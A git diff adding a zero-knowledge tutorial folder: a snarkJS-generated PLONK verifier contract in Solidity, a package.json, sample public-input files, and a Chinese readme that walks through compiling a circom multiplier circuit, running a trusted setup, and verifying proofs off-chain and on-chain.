@@ -0,0 +1,697 @@
+// SPDX-License-Identifier: GPL-3.0
+/*
+    Copyright 2021 0KIMS association.
+
+    This file is generated with [snarkJS](https://github.com/iden3/snarkjs).
+
+    snarkJS is a free software: you can redistribute it and/or modify it
+    under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    snarkJS is distributed in the hope that it will be useful, but WITHOUT
+    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+    or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
+    License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with snarkJS. If not, see <https://www.gnu.org/licenses/>.
+*/
+
+
+pragma solidity >=0.7.0 <0.9.0;
+
+import "hardhat/console.sol";
+
+contract PlonkVerifier {
+    // Omega
+    uint256 constant w1 = 19540430494807482326159819597004422086093766032135589407132600596362845576832;    
+    // Scalar field size
+    uint256 constant q  = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
+    // Base field size
+    uint256 constant qf = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
+    
+    // [1]_1
+    uint256 constant G1x = 1;
+    uint256 constant G1y = 2;
+    // [1]_2
+    uint256 constant G2x1 = 10857046999023057135944570762232829481370756359578518086990519993285655852781;
+    uint256 constant G2x2 = 11559732032986387107991004021392285783925812861821192530917403151452391805634;
+    uint256 constant G2y1 = 8495653923123431417604973247489272438418190587263600148770280649306958101930;
+    uint256 constant G2y2 = 4082367875863433681332203403145435568316851327593401208105741076214120093531;
+    
+    // Verification Key data
+    uint32 constant n         = 8;
+    uint16 constant nPublic   = 1;
+    uint16 constant nLagrange = 1;
+    
+    uint256 constant Qmx  = 6699088001123109952183962588223396229634400680774617861482376109866173590415;
+    uint256 constant Qmy  = 10472862863404696730237000817687961982481823937409036496392612294007500191870;
+    uint256 constant Qlx  = 7653042754748282460925155674115802066186740095112438098089677730825851742561;
+    uint256 constant Qly  = 3881489376554609598818401640548973087844286524086744140689566043079220234653;
+    uint256 constant Qrx  = 0;
+    uint256 constant Qry  = 0;
+    uint256 constant Qox  = 6699088001123109952183962588223396229634400680774617861482376109866173590415;
+    uint256 constant Qoy  = 11415380008434578492009404927569313106214487219888787166296425600637726016713;
+    uint256 constant Qcx  = 0;
+    uint256 constant Qcy  = 0;
+    uint256 constant S1x  = 12595984855861242061649666268418958443285151063605611873146794297408558416836;
+    uint256 constant S1y  = 13705084462179478240736413689935073047312759999024126566597654725029421808009;
+    uint256 constant S2x  = 16285909367754550288358159035997699094368387144009879119019270648519999440116;
+    uint256 constant S2y  = 1295729502968671379118165227997341875919978495457150719822893621307947271783;
+    uint256 constant S3x  = 14606951403545053284258360588318930654368768246829249183502572774985607977923;
+    uint256 constant S3y  = 9505097472223332796829678678148885853274639253871716812065493604196418738384;
+    uint256 constant k1   = 2;
+    uint256 constant k2   = 3;
+    uint256 constant X2x1 = 18935944361004143412805704977309399715739170487629982915447996963383767772739;
+    uint256 constant X2x2 = 6811002817459883196920556250750369153193187180198975763660544368610033000117;
+    uint256 constant X2y1 = 21721768279008477101272404552028427623562871621192112392566662061814769383663;
+    uint256 constant X2y2 = 20846124843981009602488447623630715579517110693802445484941301159200541614978;
+    
+    // Proof calldata
+    // Byte offset of every parameter of the calldata
+    // Polynomial commitments
+    uint16 constant pA       = 4 + 0;
+    uint16 constant pB       = 4 + 64;
+    uint16 constant pC       = 4 + 128;
+    uint16 constant pZ       = 4 + 192;
+    uint16 constant pT1      = 4 + 256;
+    uint16 constant pT2      = 4 + 320;
+    uint16 constant pT3      = 4 + 384;
+    uint16 constant pWxi     = 4 + 448;
+    uint16 constant pWxiw    = 4 + 512;
+    // Opening evaluations
+    uint16 constant pEval_a  = 4 + 576;
+    uint16 constant pEval_b  = 4 + 608;
+    uint16 constant pEval_c  = 4 + 640;
+    uint16 constant pEval_s1 = 4 + 672;
+    uint16 constant pEval_s2 = 4 + 704;
+    uint16 constant pEval_zw = 4 + 736;
+    
+    // Memory data
+    // Challenges
+    uint16 constant pAlpha  = 0;
+    uint16 constant pBeta   = 32;
+    uint16 constant pGamma  = 64;
+    uint16 constant pXi     = 96;
+    uint16 constant pXin    = 128;
+    uint16 constant pBetaXi = 160;
+    uint16 constant pV1     = 192;
+    uint16 constant pV2     = 224;
+    uint16 constant pV3     = 256;
+    uint16 constant pV4     = 288;
+    uint16 constant pV5     = 320;
+    uint16 constant pU      = 352;
+    
+    uint16 constant pPI      = 384;
+    uint16 constant pEval_r0 = 416;
+    uint16 constant pD       = 448;
+    uint16 constant pF       = 512;
+    uint16 constant pE       = 576;
+    uint16 constant pTmp     = 640;
+    uint16 constant pAlpha2  = 704;
+    uint16 constant pZh      = 736;
+    uint16 constant pZhInv   = 768;
+
+    
+    uint16 constant pEval_l1 = 800;
+    
+    
+    
+    uint16 constant lastMem = 832;
+
+    function verifyProof(uint256[24] calldata _proof, uint256[1] calldata _pubSignals) public view returns (bool) {
+        assembly {
+            /////////
+            // Computes the inverse using the extended euclidean algorithm
+            /////////
+            function inverse(a, q) -> inv {
+                let t := 0     
+                let newt := 1
+                let r := q     
+                let newr := a
+                let quotient
+                let aux
+                
+                for { } newr { } {
+                    quotient := sdiv(r, newr)
+                    aux := sub(t, mul(quotient, newt))
+                    t:= newt
+                    newt:= aux
+                    
+                    aux := sub(r,mul(quotient, newr))
+                    r := newr
+                    newr := aux
+                }
+                
+                if gt(r, 1) { revert(0,0) }
+                if slt(t, 0) { t:= add(t, q) }
+
+                inv := t
+            }
+            
+            ///////
+            // Computes the inverse of an array of values
+            // See https://vitalik.eth.limo/general/2018/07/21/starks_part_3.html in section where explain fields operations
+            //////
+            function inverseArray(pVals, n) {
+    
+                let pAux := mload(0x40)     // Point to the next free position
+                let pIn := pVals
+                let lastPIn := add(pVals, mul(n, 32))  // Read n elemnts
+                let acc := mload(pIn)       // Read the first element
+                pIn := add(pIn, 32)         // Point to the second element
+                let inv
+    
+                
+                for { } lt(pIn, lastPIn) { 
+                    pAux := add(pAux, 32) 
+                    pIn := add(pIn, 32)
+                } 
+                {
+                    mstore(pAux, acc)
+                    acc := mulmod(acc, mload(pIn), q)
+                }
+                acc := inverse(acc, q)
+                
+                // At this point pAux pint to the next free position we substract 1 to point to the last used
+                pAux := sub(pAux, 32)
+                // pIn points to the n+1 element, we substract to point to n
+                pIn := sub(pIn, 32)
+                lastPIn := pVals  // We don't process the first element 
+                for { } gt(pIn, lastPIn) { 
+                    pAux := sub(pAux, 32) 
+                    pIn := sub(pIn, 32)
+                } 
+                {
+                    inv := mulmod(acc, mload(pAux), q)
+                    acc := mulmod(acc, mload(pIn), q)
+                    mstore(pIn, inv)
+                }
+                // pIn points to first element, we just set it.
+                mstore(pIn, acc)
+            }
+            
+            function checkField(v) {
+                if iszero(lt(v, q)) {
+                    mstore(0, 0)
+                    return(0,0x20)
+                }
+            }
+            
+            function checkInput() {
+                checkField(calldataload(pEval_a))
+                checkField(calldataload(pEval_b))
+                checkField(calldataload(pEval_c))
+                checkField(calldataload(pEval_s1))
+                checkField(calldataload(pEval_s2))
+                checkField(calldataload(pEval_zw))
+            }
+            
+            function calculateChallenges(pMem, pPublic) {
+                let beta
+                let aux
+
+                let mIn := mload(0x40)     // Pointer to the next free memory position
+
+                // Compute challenge.beta & challenge.gamma
+                mstore(mIn, Qmx)
+                mstore(add(mIn, 32), Qmy)
+                mstore(add(mIn, 64), Qlx)
+                mstore(add(mIn, 96), Qly)
+                mstore(add(mIn, 128), Qrx)
+                mstore(add(mIn, 160), Qry)
+                mstore(add(mIn, 192), Qox)
+                mstore(add(mIn, 224), Qoy)
+                mstore(add(mIn, 256), Qcx)
+                mstore(add(mIn, 288), Qcy)
+                mstore(add(mIn, 320), S1x)
+                mstore(add(mIn, 352), S1y)
+                mstore(add(mIn, 384), S2x)
+                mstore(add(mIn, 416), S2y)
+                mstore(add(mIn, 448), S3x)
+                mstore(add(mIn, 480), S3y)
+
+                
+                mstore(add(mIn, 512), calldataload(add(pPublic, 0)))
+                
+                mstore(add(mIn, 544 ), calldataload(pA))
+                mstore(add(mIn, 576 ), calldataload(add(pA, 32)))
+                mstore(add(mIn, 608 ), calldataload(pB))
+                mstore(add(mIn, 640 ), calldataload(add(pB, 32)))
+                mstore(add(mIn, 672 ), calldataload(pC))
+                mstore(add(mIn, 704 ), calldataload(add(pC, 32)))
+                
+                beta := mod(keccak256(mIn, 736), q) 
+                mstore(add(pMem, pBeta), beta)
+
+                // challenges.gamma
+                mstore(add(pMem, pGamma), mod(keccak256(add(pMem, pBeta), 32), q))
+                
+                // challenges.alpha
+                mstore(mIn, mload(add(pMem, pBeta)))
+                mstore(add(mIn, 32), mload(add(pMem, pGamma)))
+                mstore(add(mIn, 64), calldataload(pZ))
+                mstore(add(mIn, 96), calldataload(add(pZ, 32)))
+
+                aux := mod(keccak256(mIn, 128), q)
+                mstore(add(pMem, pAlpha), aux)
+                mstore(add(pMem, pAlpha2), mulmod(aux, aux, q))
+
+                // challenges.xi
+                mstore(mIn, aux)
+                mstore(add(mIn, 32),  calldataload(pT1))
+                mstore(add(mIn, 64),  calldataload(add(pT1, 32)))
+                mstore(add(mIn, 96),  calldataload(pT2))
+                mstore(add(mIn, 128), calldataload(add(pT2, 32)))
+                mstore(add(mIn, 160), calldataload(pT3))
+                mstore(add(mIn, 192), calldataload(add(pT3, 32)))
+
+                aux := mod(keccak256(mIn, 224), q)
+                mstore( add(pMem, pXi), aux)
+
+                // challenges.v
+                mstore(mIn, aux)
+                mstore(add(mIn, 32),  calldataload(pEval_a))
+                mstore(add(mIn, 64),  calldataload(pEval_b))
+                mstore(add(mIn, 96),  calldataload(pEval_c))
+                mstore(add(mIn, 128), calldataload(pEval_s1))
+                mstore(add(mIn, 160), calldataload(pEval_s2))
+                mstore(add(mIn, 192), calldataload(pEval_zw))
+
+                let v1 := mod(keccak256(mIn, 224), q)
+                mstore(add(pMem, pV1), v1)
+
+                // challenges.beta * challenges.xi
+                mstore(add(pMem, pBetaXi), mulmod(beta, aux, q))
+
+                // challenges.xi^n
+                
+                aux:= mulmod(aux, aux, q)
+                
+                aux:= mulmod(aux, aux, q)
+                
+                aux:= mulmod(aux, aux, q)
+                
+                mstore(add(pMem, pXin), aux)
+
+                // Zh
+                aux:= mod(add(sub(aux, 1), q), q)
+                mstore(add(pMem, pZh), aux)
+                mstore(add(pMem, pZhInv), aux)  // We will invert later together with lagrange pols
+                                
+                // challenges.v^2, challenges.v^3, challenges.v^4, challenges.v^5
+                aux := mulmod(v1, v1,  q)
+                mstore(add(pMem, pV2), aux)
+                aux := mulmod(aux, v1, q)
+                mstore(add(pMem, pV3), aux)
+                aux := mulmod(aux, v1, q)
+                mstore(add(pMem, pV4), aux)
+                aux := mulmod(aux, v1, q)
+                mstore(add(pMem, pV5), aux)
+
+                // challenges.u
+                mstore(mIn, calldataload(pWxi))
+                mstore(add(mIn, 32), calldataload(add(pWxi, 32)))
+                mstore(add(mIn, 64), calldataload(pWxiw))
+                mstore(add(mIn, 96), calldataload(add(pWxiw, 32)))
+
+                mstore(add(pMem, pU), mod(keccak256(mIn, 128), q))
+            }
+            
+            function calculateLagrange(pMem) {
+                let w := 1                
+                
+                mstore(
+                    add(pMem, pEval_l1), 
+                    mulmod(
+                        n, 
+                        mod(
+                            add(
+                                sub(
+                                    mload(add(pMem, pXi)), 
+                                    w
+                                ), 
+                                q
+                            ),
+                            q
+                        ), 
+                        q
+                    )
+                )
+                
+                
+                
+                inverseArray(add(pMem, pZhInv), 2 )
+                
+                let zh := mload(add(pMem, pZh))
+                w := 1
+                
+                
+                mstore(
+                    add(pMem, pEval_l1 ), 
+                    mulmod(
+                        mload(add(pMem, pEval_l1 )),
+                        zh,
+                        q
+                    )
+                )
+                
+                
+                
+
+
+            }
+            
+            function calculatePI(pMem, pPub) {
+                let pl := 0
+                
+                 
+                pl := mod(
+                    add(
+                        sub(
+                            pl,  
+                            mulmod(
+                                mload(add(pMem, pEval_l1)),
+                                calldataload(add(pPub, 0)),
+                                q
+                            )
+                        ),
+                        q
+                    ),
+                    q
+                )
+                
+                
+                mstore(add(pMem, pPI), pl)
+            }
+
+            function calculateR0(pMem) {
+                let e1 := mload(add(pMem, pPI))
+
+                let e2 :=  mulmod(mload(add(pMem, pEval_l1)), mload(add(pMem, pAlpha2)), q)
+
+                let e3a := addmod(
+                    calldataload(pEval_a),
+                    mulmod(mload(add(pMem, pBeta)), calldataload(pEval_s1), q),
+                    q)
+                e3a := addmod(e3a, mload(add(pMem, pGamma)), q)
+
+                let e3b := addmod(
+                    calldataload(pEval_b),
+                    mulmod(mload(add(pMem, pBeta)), calldataload(pEval_s2), q),
+                    q)
+                e3b := addmod(e3b, mload(add(pMem, pGamma)), q)
+
+                let e3c := addmod(
+                    calldataload(pEval_c),
+                    mload(add(pMem, pGamma)),
+                    q)
+
+                let e3 := mulmod(mulmod(e3a, e3b, q), e3c, q)
+                e3 := mulmod(e3, calldataload(pEval_zw), q)
+                e3 := mulmod(e3, mload(add(pMem, pAlpha)), q)
+            
+                let r0 := addmod(e1, mod(sub(q, e2), q), q)
+                r0 := addmod(r0, mod(sub(q, e3), q), q)
+                
+                mstore(add(pMem, pEval_r0) , r0)
+            }
+            
+            function g1_set(pR, pP) {
+                mstore(pR, mload(pP))
+                mstore(add(pR, 32), mload(add(pP,32)))
+            }   
+
+            function g1_setC(pR, x, y) {
+                mstore(pR, x)
+                mstore(add(pR, 32), y)
+            }
+
+            function g1_calldataSet(pR, pP) {
+                mstore(pR,          calldataload(pP))
+                mstore(add(pR, 32), calldataload(add(pP, 32)))
+            }
+
+            function g1_acc(pR, pP) {
+                let mIn := mload(0x40)
+                mstore(mIn, mload(pR))
+                mstore(add(mIn,32), mload(add(pR, 32)))
+                mstore(add(mIn,64), mload(pP))
+                mstore(add(mIn,96), mload(add(pP, 32)))
+
+                let success := staticcall(sub(gas(), 2000), 6, mIn, 128, pR, 64)
+                
+                if iszero(success) {
+                    mstore(0, 0)
+                    return(0,0x20)
+                }
+            }
+
+            function g1_mulAcc(pR, pP, s) {
+                let success
+                let mIn := mload(0x40)
+                mstore(mIn, mload(pP))
+                mstore(add(mIn,32), mload(add(pP, 32)))
+                mstore(add(mIn,64), s)
+
+                success := staticcall(sub(gas(), 2000), 7, mIn, 96, mIn, 64)
+                
+                if iszero(success) {
+                    mstore(0, 0)
+                    return(0,0x20)
+                }
+                
+                mstore(add(mIn,64), mload(pR))
+                mstore(add(mIn,96), mload(add(pR, 32)))
+
+                success := staticcall(sub(gas(), 2000), 6, mIn, 128, pR, 64)
+                
+                if iszero(success) {
+                    mstore(0, 0)
+                    return(0,0x20)
+                }
+                
+            }
+
+            function g1_mulAccC(pR, x, y, s) {
+                let success
+                let mIn := mload(0x40)
+                mstore(mIn, x)
+                mstore(add(mIn,32), y)
+                mstore(add(mIn,64), s)
+
+                success := staticcall(sub(gas(), 2000), 7, mIn, 96, mIn, 64)
+                
+                if iszero(success) {
+                    mstore(0, 0)
+                    return(0,0x20)
+                }
+                
+                mstore(add(mIn,64), mload(pR))
+                mstore(add(mIn,96), mload(add(pR, 32)))
+
+                success := staticcall(sub(gas(), 2000), 6, mIn, 128, pR, 64)
+                
+                if iszero(success) {
+                    mstore(0, 0)
+                    return(0,0x20)
+                }
+            }
+
+            function g1_mulSetC(pR, x, y, s) {
+                let success
+                let mIn := mload(0x40)
+                mstore(mIn, x)
+                mstore(add(mIn,32), y)
+                mstore(add(mIn,64), s)
+
+                success := staticcall(sub(gas(), 2000), 7, mIn, 96, pR, 64)
+                
+                if iszero(success) {
+                    mstore(0, 0)
+                    return(0,0x20)
+                }
+            }
+
+            function g1_mulSet(pR, pP, s) {
+                g1_mulSetC(pR, mload(pP), mload(add(pP, 32)), s)
+            }
+
+            function calculateD(pMem) {
+                let _pD:= add(pMem, pD)
+                let gamma := mload(add(pMem, pGamma))
+                let mIn := mload(0x40)
+                mstore(0x40, add(mIn, 256)) // d1, d2, d3 & d4 (4*64 bytes)
+
+                g1_setC(_pD, Qcx, Qcy)
+                g1_mulAccC(_pD, Qmx, Qmy, mulmod(calldataload(pEval_a), calldataload(pEval_b), q))
+                g1_mulAccC(_pD, Qlx, Qly, calldataload(pEval_a))
+                g1_mulAccC(_pD, Qrx, Qry, calldataload(pEval_b))
+                g1_mulAccC(_pD, Qox, Qoy, calldataload(pEval_c))            
+
+                let betaxi := mload(add(pMem, pBetaXi))
+                let val1 := addmod(
+                    addmod(calldataload(pEval_a), betaxi, q),
+                    gamma, q)
+
+                let val2 := addmod(
+                    addmod(
+                        calldataload(pEval_b),
+                        mulmod(betaxi, k1, q),
+                        q), gamma, q)
+
+                let val3 := addmod(
+                    addmod(
+                        calldataload(pEval_c),
+                        mulmod(betaxi, k2, q),
+                        q), gamma, q)
+
+                let d2a := mulmod(
+                    mulmod(mulmod(val1, val2, q), val3, q),
+                    mload(add(pMem, pAlpha)),
+                    q
+                )
+
+                let d2b := mulmod(
+                    mload(add(pMem, pEval_l1)),
+                    mload(add(pMem, pAlpha2)),
+                    q
+                )
+
+                // We'll use mIn to save d2
+                g1_calldataSet(add(mIn, 192), pZ)
+                g1_mulSet(
+                    mIn,
+                    add(mIn, 192),
+                    addmod(addmod(d2a, d2b, q), mload(add(pMem, pU)), q))
+
+
+                val1 := addmod(
+                    addmod(
+                        calldataload(pEval_a),
+                        mulmod(mload(add(pMem, pBeta)), calldataload(pEval_s1), q),
+                        q), gamma, q)
+
+                val2 := addmod(
+                    addmod(
+                        calldataload(pEval_b),
+                        mulmod(mload(add(pMem, pBeta)), calldataload(pEval_s2), q),
+                        q), gamma, q)
+    
+                val3 := mulmod(
+                    mulmod(mload(add(pMem, pAlpha)), mload(add(pMem, pBeta)), q),
+                    calldataload(pEval_zw), q)
+    
+
+                // We'll use mIn + 64 to save d3
+                g1_mulSetC(
+                    add(mIn, 64),
+                    S3x,
+                    S3y,
+                    mulmod(mulmod(val1, val2, q), val3, q))
+
+                // We'll use mIn + 128 to save d4
+                g1_calldataSet(add(mIn, 128), pT1)
+
+                g1_mulAccC(add(mIn, 128), calldataload(pT2), calldataload(add(pT2, 32)), mload(add(pMem, pXin)))
+                let xin2 := mulmod(mload(add(pMem, pXin)), mload(add(pMem, pXin)), q)
+                g1_mulAccC(add(mIn, 128), calldataload(pT3), calldataload(add(pT3, 32)) , xin2)
+                
+                g1_mulSetC(add(mIn, 128), mload(add(mIn, 128)), mload(add(mIn, 160)), mload(add(pMem, pZh)))
+
+                mstore(add(add(mIn, 64), 32), mod(sub(qf, mload(add(add(mIn, 64), 32))), qf))
+                mstore(add(mIn, 160), mod(sub(qf, mload(add(mIn, 160))), qf))
+                g1_acc(_pD, mIn)
+                g1_acc(_pD, add(mIn, 64))
+                g1_acc(_pD, add(mIn, 128))
+            }
+            
+            function calculateF(pMem) {
+                let p := add(pMem, pF)
+
+                g1_set(p, add(pMem, pD))
+                g1_mulAccC(p, calldataload(pA), calldataload(add(pA, 32)), mload(add(pMem, pV1)))
+                g1_mulAccC(p, calldataload(pB), calldataload(add(pB, 32)), mload(add(pMem, pV2)))
+                g1_mulAccC(p, calldataload(pC), calldataload(add(pC, 32)), mload(add(pMem, pV3)))
+                g1_mulAccC(p, S1x, S1y, mload(add(pMem, pV4)))
+                g1_mulAccC(p, S2x, S2y, mload(add(pMem, pV5)))
+            }
+            
+            function calculateE(pMem) {
+                let s := mod(sub(q, mload(add(pMem, pEval_r0))), q)
+
+                s := addmod(s, mulmod(calldataload(pEval_a),  mload(add(pMem, pV1)), q), q)
+                s := addmod(s, mulmod(calldataload(pEval_b),  mload(add(pMem, pV2)), q), q)
+                s := addmod(s, mulmod(calldataload(pEval_c),  mload(add(pMem, pV3)), q), q)
+                s := addmod(s, mulmod(calldataload(pEval_s1), mload(add(pMem, pV4)), q), q)
+                s := addmod(s, mulmod(calldataload(pEval_s2), mload(add(pMem, pV5)), q), q)
+                s := addmod(s, mulmod(calldataload(pEval_zw), mload(add(pMem, pU)),  q), q)
+
+                g1_mulSetC(add(pMem, pE), G1x, G1y, s)
+            }
+            
+            function checkPairing(pMem) -> isOk {
+                let mIn := mload(0x40)
+                mstore(0x40, add(mIn, 576)) // [0..383] = pairing data, [384..447] = pWxi, [448..512] = pWxiw
+
+                let _pWxi := add(mIn, 384)
+                let _pWxiw := add(mIn, 448)
+                let _aux := add(mIn, 512)
+
+                g1_calldataSet(_pWxi, pWxi)
+                g1_calldataSet(_pWxiw, pWxiw)
+
+                // A1
+                g1_mulSet(mIn, _pWxiw, mload(add(pMem, pU)))
+                g1_acc(mIn, _pWxi)
+                mstore(add(mIn, 32), mod(sub(qf, mload(add(mIn, 32))), qf))
+
+                // [X]_2
+                mstore(add(mIn,64), X2x2)
+                mstore(add(mIn,96), X2x1)
+                mstore(add(mIn,128), X2y2)
+                mstore(add(mIn,160), X2y1)
+
+                // B1
+                g1_mulSet(add(mIn, 192), _pWxi, mload(add(pMem, pXi)))
+
+                let s := mulmod(mload(add(pMem, pU)), mload(add(pMem, pXi)), q)
+                s := mulmod(s, w1, q)
+                g1_mulSet(_aux, _pWxiw, s)
+                g1_acc(add(mIn, 192), _aux)
+                g1_acc(add(mIn, 192), add(pMem, pF))
+                mstore(add(pMem, add(pE, 32)), mod(sub(qf, mload(add(pMem, add(pE, 32)))), qf))
+                g1_acc(add(mIn, 192), add(pMem, pE))
+
+                // [1]_2
+                mstore(add(mIn,256), G2x2)
+                mstore(add(mIn,288), G2x1)
+                mstore(add(mIn,320), G2y2)
+                mstore(add(mIn,352), G2y1)
+                
+                let success := staticcall(sub(gas(), 2000), 8, mIn, 384, mIn, 0x20)
+                
+                isOk := and(success, mload(mIn))
+            }
+            
+            let pMem := mload(0x40)
+            mstore(0x40, add(pMem, lastMem))
+            
+            checkInput()
+            calculateChallenges(pMem, _pubSignals)
+            calculateLagrange(pMem)
+            calculatePI(pMem, _pubSignals)
+            calculateR0(pMem)
+            calculateD(pMem)
+            calculateF(pMem)
+            calculateE(pMem)
+            let isValid := checkPairing(pMem)
+   
+            mstore(0x40, sub(pMem, lastMem))
+            mstore(0, isValid)
+            return(0,0x20)
+        }
+        
+    }
+}
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/package.json b/basic/22-zk-snarkjs/package.json
new file mode 100644
index 000000000..dffca4257
--- /dev/null
+++ b/basic/22-zk-snarkjs/package.json
@@ -0,0 +1,16 @@
+{
+  "name": "22-zk-snarkjs",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "circom": "^0.5.45",
+    "snarkjs": "^0.4.6"
+  }
+}
diff --git a/basic/22-zk-snarkjs/public-invalid.json b/basic/22-zk-snarkjs/public-invalid.json
new file mode 100644
index 000000000..bfa3617c3
--- /dev/null
+++ b/basic/22-zk-snarkjs/public-invalid.json
@@ -0,0 +1,3 @@
+[
+ "34"
+]
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/public.json b/basic/22-zk-snarkjs/public.json
new file mode 100644
index 000000000..bf2030970
--- /dev/null
+++ b/basic/22-zk-snarkjs/public.json
@@ -0,0 +1,3 @@
+[
+ "33"
+]
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/readme.md b/basic/22-zk-snarkjs/readme.md
new file mode 100644
index 000000000..168f161dd
--- /dev/null
+++ b/basic/22-zk-snarkjs/readme.md
@@ -0,0 +1,240 @@
+# circom 与 snarkjs
+
+本章节, 我们将讲解如何使用 circom 和 snarkjs 创建一个零知识 zkSnark 电路, 并展示如何创建证明并在以太坊上进行链外和链上验证。
+
+## 测试步骤
+
+### 链外证明
+
+- **tip**:  
+  如果直接运行命令例如`circom circuit.circom --r1cs --wasm --sym`报错
+  - 可以添加前缀`./node_modules/.bin/` -> `./node_modules/.bin/circom circuit.circom --r1cs --wasm --sym`
+  - 或使用`npx` -> `npx circom circuit.circom --r1cs --wasm --sym`
+
+#### 安装依赖
+
+```sh
+yarn
+```
+
+- 创建 circuit.circom 文件
+  文件内容如下
+
+```circom
+template Multiplier2 () {
+
+   // Declaration of signals.
+   signal private input a;
+   signal private input b;
+   signal output c;
+
+   // Statements.
+   c <== a * b;
+}
+
+component main = Multiplier2();
+```
+
+- 编译电路
+
+```sh
+circom circuit.circom --r1cs --wasm --sym
+```
+
+- 显示电路的信息
+
+```sh
+ snarkjs  info -r circuit.r1cs
+```
+
+PS: 查看 snarkjs 的具体命令参数可使用 npx snarkjs --help
+
+- 打印电路的约束
+
+```sh
+ snarkjs r1cs print circuit.r1cs circuit.sym
+```
+
+- 可信设置
+
+#### 第一阶段: 获取`ptau`文件
+
+1. **创建一个新的 `powers of tau ceremony`** (获取`tau`力量的仪式)
+
+```sh
+snarkjs powersoftau new bn128 12 pot12_0000.ptau -v
+```
+
+- new 之后的第一个参数是指您希望使用的曲线类型。(目前，可用的有 bn128 和 bls12-381。)
+- 第二个参数是表明以 2 几次幂来作为电路的最大约束值：在本示例中，值为 12 也就是 2 ^ 12 = 4096。(目前可选的最大值是 28, 即 2 ^ 28, ≈ 2.68 亿)
+
+2. **为仪式提供贡献**
+
+```sh
+snarkjs powersoftau contribute pot12_0000.ptau pot12_0001.ptau --name="First contribution" -v
+```
+
+- 使用 `contribute` 指令可以通过提供新的贡献来获取一个 `ptau` 文件
+- 系统将提示您输入一些随机文本作为额外的熵源
+- `ptau` 文件包含了到目前为止发生的一切发起的挑战和回应的历史记录, 而 `contribute` 会根据这个文件作为输入( `pot12_0000.ptau` ), 结合新贡献者所执行的计算, 来返回一个新的副本文件 (pot12_0001.ptau)
+- `name`没有限制, 只是作为一个参考, 当你验证文件时, 他会被打印出来
+
+3. **再次提供贡献**
+
+```sh
+snarkjs powersoftau contribute pot12_0001.ptau pot12_0002.ptau --name="Second contribution" -v -e="some random text"
+```
+
+- 通过 `-e` 我们可以跳过系统提示, 直接输入随机文本
+
+```sh
+snarkjs plonk setup circuit.r1cs pot12_final.ptau circuit_final.zkey
+```
+
+4. **验证当前的协议**
+
+```sh
+snarkjs powersoftau verify pot12_0002.ptau
+```
+
+如果一切顺利, 你可以在最后一行看到
+
+```sh
+[INFO]  snarkJS: Powers Of tau file OK!
+```
+
+5. **添加/应用随机信标**
+
+```sh
+snarkjs powersoftau beacon pot12_0002.ptau pot12_beacon.ptau 0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f 10 -n="Final Beacon"
+```
+
+- `beacon` 命令会创建一个`ptau`文件，这里我们需要提供的贡献将会是随机信标的形式。
+- 我们需要使用`随机信标`来完成可信设置(`the trusted setup`)的第 1 阶段, [详见](https://github.com/iden3/snarkjs#6-apply-a-random-beacon)。
+- **注意: 即便如此, 也会存在**[安全隐患](https://eprint.iacr.org/2017/1050)
+
+6. **准备第二阶段**
+   执行完这一步后, 我们可以开始进行第二阶段, 也就是电路部分的计算以及验证
+
+```sh
+snarkjs powersoftau prepare phase2 pot12_beacon.ptau pot12_final.ptau -v
+```
+
+**在此开始之前, 别忘了再进行一次文件的确认**
+
+```sh
+snarkjs powersoftau verify pot12_final.ptau
+```
+
+#### 第二阶段
+
+1. 为电路进行**可信设置**
+
+```sh
+snarkjs plonk setup circuit.r1cs pot12_final.ptau circuit_final.zkey
+```
+
+**Tip:** 目前，snarkjs 支持 2 种证明系统：`groth16` 和 `PLONK`, 我们这里使用 `PLONK` 因为: - `groth16` 需要每条电路上都有一个受信仪式 - `PLONK` 不需要, 它只要有一个广义上的 `powers of tau ceremony` 就足够了
+
+2. 导出验证密钥
+
+```sh
+snarkjs zkey export verificationkey circuit_final.zkey verification_key.json
+```
+
+</hr>
+
+#### 至此一切就绪, 接下来我们开始
+
+- 计算 witness，需要创建`input.json`
+
+```json
+{ "a": 3, "b": 11 }
+```
+
+指定 a,b 的值。此步可以得出电路所有中间变量, 可以看到新增加了一个`witness.wtns`文件.
+
+```sh
+snarkjs calculatewitness --wasm circuit.wasm --input input.json
+```
+
+- 生成证明，根据`witness.wtns`生成证明。
+
+```sh
+snarkjs plonk prove circuit_final.zkey witness.wtns proof.json public.json
+```
+
+执行后会生成 `proof.json` 和 `public.json`。`proof.json`包含实际证明，而`public.json`包含公共输入和输出的值。
+
+- 验证证明
+
+```sh
+snarkjs plonk verify verification_key.json public.json proof.json
+```
+
+执行完之后, 我们可以看到
+
+```sh
+[INFO]  snarkJS: OK!
+```
+
+也可以新建一个 public-invalid.json。
+
+```sh
+snarkjs plonk verify verification_key.json public-invalid.json proof.json
+```
+
+得到警告
+
+```sh
+[WARN]  snarkJS: Invalid Proof
+```
+
+### 链上证明(Proving on-chain)
+
+- 生成 Solidity 的证明合约
+
+  ```sh
+  snarkjs zkey export solidityverifier circuit_final.zkey verifier.sol
+  ```
+
+- 生成调用的参数/模拟验证调用
+
+  ```sh
+  snarkjs zkesc public.json proof.json
+  ```
+
+  或者
+
+  ```sh
+  snarkjs zkey export soliditycalldata public.json proof.json
+  ```
+
+- 发布证明
+  可以复制 verifier.sol 代码到 remix 进行部署
+
+- 进行合约调用
+  将命令的输出复制到 Remix 中的 verifyProof 方法的 parameters 字段中，点击 call 调用 verifyProof  
+  如果一切正常，方法应该返回 true  
+  如果仅更改参数中的任何位，则可以检查结果返回 false
+
+## circom 语法
+
+  1. <-- assigns a value to a signal without adding a constraint.
+  2. Whereas === adds a constraint without assigning a value.
+  3. <== both assigns a value to a signal and adds a contraint。Which means it’s just the combination of === and <--.
+
+## 参考资料
+
+- 创建第一个零知识 snark 电路: <https://learnblockchain.cn/article/1078>
+- 参考文档：<https://blog.iden3.io/first-zk-proof.html>
